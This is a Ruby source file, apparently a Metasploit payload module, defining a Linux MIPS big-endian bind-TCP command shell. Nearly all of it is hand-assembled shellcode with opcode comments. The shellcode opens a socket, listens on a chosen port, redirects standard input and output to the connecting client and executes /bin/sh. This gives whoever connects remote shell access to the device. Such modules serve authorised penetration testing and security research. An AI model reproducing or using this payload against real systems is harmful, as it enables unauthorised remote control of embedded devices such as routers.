126 lines
4.8 KiB
Ruby
126 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux Command Shell, Bind TCP Inline',
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
'Author' =>
|
|
[
|
|
'scut', # Original mips-irix-portshell shellcode
|
|
'vaicebine', # Original shellcode mod
|
|
'Vlatko Kosturjak', # Metasploit module (mipsle)
|
|
'juan vazquez' # mipsbe conversion plus small fixes and optimizations
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_MIPSBE,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => {} ,
|
|
'Payload' => ''
|
|
})
|
|
)
|
|
end
|
|
|
|
def generate
|
|
if !datastore['LPORT']
|
|
return super
|
|
end
|
|
|
|
port = Integer(datastore['LPORT'])
|
|
port = [port].pack("n").unpack("cc");
|
|
|
|
shellcode =
|
|
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
|
|
"\x27\xbd\xff\xe0" + # addiu sp,sp,-32
|
|
"\x24\x0e\xff\xfd" + # li t6,-3
|
|
"\x01\xc0\x20\x27" + # nor a0,t6,zero
|
|
"\x01\xc0\x28\x27" + # nor a1,t6,zero
|
|
"\x28\x06\xff\xff" + # slti a2,zero,-1
|
|
"\x24\x02\x10\x57" + # li v0,4183 ( __NR_socket )
|
|
"\x01\x01\x01\x0c" + # syscall
|
|
|
|
# bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
|
|
"\x30\x50\xff\xff" + # andi s0,v0,0xffff
|
|
"\x24\x0e\xff\xef" + # li t6,-17 ; t6: 0xffffffef
|
|
"\x01\xc0\x70\x27" + # nor t6,t6,zero ; t6: 0x10 (16)
|
|
"\x24\x0d\xff\xfd" + # li t5,-3 ; t5: -3
|
|
"\x01\xa0\x68\x27" + # nor t5,t5,zero ; t5: 0x2
|
|
"\x01\xcd\x68\x04" + # sllv t5,t5,t6 ; t5: 0x00020000
|
|
"\x24\x0e" + port.pack("C2") + # li t6,0xFFFF (port) ; t6: 0x115c (4444 (default LPORT))
|
|
"\x01\xae\x68\x25" + # or t5,t5,t6 ; t5: 0x0002115c
|
|
"\xaf\xad\xff\xe0" + # sw t5,-32(sp)
|
|
"\xaf\xa0\xff\xe4" + # sw zero,-28(sp)
|
|
"\xaf\xa0\xff\xe8" + # sw zero,-24(sp)
|
|
"\xaf\xa0\xff\xec" + # sw zero,-20(sp)
|
|
"\x02\x10\x20\x25" + # or a0,s0,s0
|
|
"\x24\x0e\xff\xef" + # li t6,-17
|
|
"\x01\xc0\x30\x27" + # nor a2,t6,zero
|
|
"\x23\xa5\xff\xe0" + # addi a1,sp,-32
|
|
"\x24\x02\x10\x49" + # li v0,4169 ( __NR_bind )A
|
|
"\x01\x01\x01\x0c" + # syscall
|
|
|
|
# listen(3, 257) = 0
|
|
"\x02\x10\x20\x25" + # or a0,s0,s0
|
|
"\x24\x05\x01\x01" + # li a1,257
|
|
"\x24\x02\x10\x4e" + # li v0,4174 ( __NR_listen )
|
|
"\x01\x01\x01\x0c" + # syscall
|
|
|
|
# accept(3, 0, NULL) = 4
|
|
"\x02\x10\x20\x25" + # or a0,s0,s0
|
|
"\x28\x05\xff\xff" + # slti a1,zero,-1
|
|
"\x28\x06\xff\xff" + # slti a2,zero,-1
|
|
"\x24\x02\x10\x48" + # li v0,4168 ( __NR_accept )
|
|
"\x01\x01\x01\x0c" + # syscall
|
|
|
|
# dup2(4, 2) = 2
|
|
# dup2(4, 1) = 1
|
|
# dup2(4, 0) = 0
|
|
"\xaf\xa2\xff\xff" + # sw v0,-1(sp) # socket
|
|
"\x24\x11\xff\xfd" + # li s1,-3
|
|
"\x02\x20\x88\x27" + # nor s1,s1,zero
|
|
"\x8f\xa4\xff\xff" + # lw a0,-1(sp)
|
|
"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop
|
|
"\x24\x02\x0f\xdf" + # li v0,4063 ( __NR_dup2 )
|
|
"\x01\x01\x01\x0c" + # syscall 0x40404
|
|
"\x24\x10\xff\xff" + # li s0,-1
|
|
"\x22\x31\xff\xff" + # addi s1,s1,-1
|
|
"\x16\x30\xff\xfa" + # bne s1,s0 <dup2_loop>
|
|
|
|
# execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
|
|
"\x28\x06\xff\xff" + # slti a2,zero,-1
|
|
"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"
|
|
"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"
|
|
"\xaf\xaf\xff\xec" + # sw t7,-20(sp)
|
|
"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"
|
|
"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"
|
|
"\xaf\xae\xff\xf0" + # sw t6,-16(sp)
|
|
"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)
|
|
"\x27\xa4\xff\xec" + # addiu a0,sp,-20
|
|
"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)
|
|
"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)
|
|
"\x27\xa5\xff\xf8" + # addiu a1,sp,-8
|
|
"\x24\x02\x0f\xab" + # li v0,4011 ( __NR_execve )
|
|
"\x01\x01\x01\x0c" # syscall 0x40404
|
|
|
|
return super + shellcode
|
|
end
|
|
|
|
end
|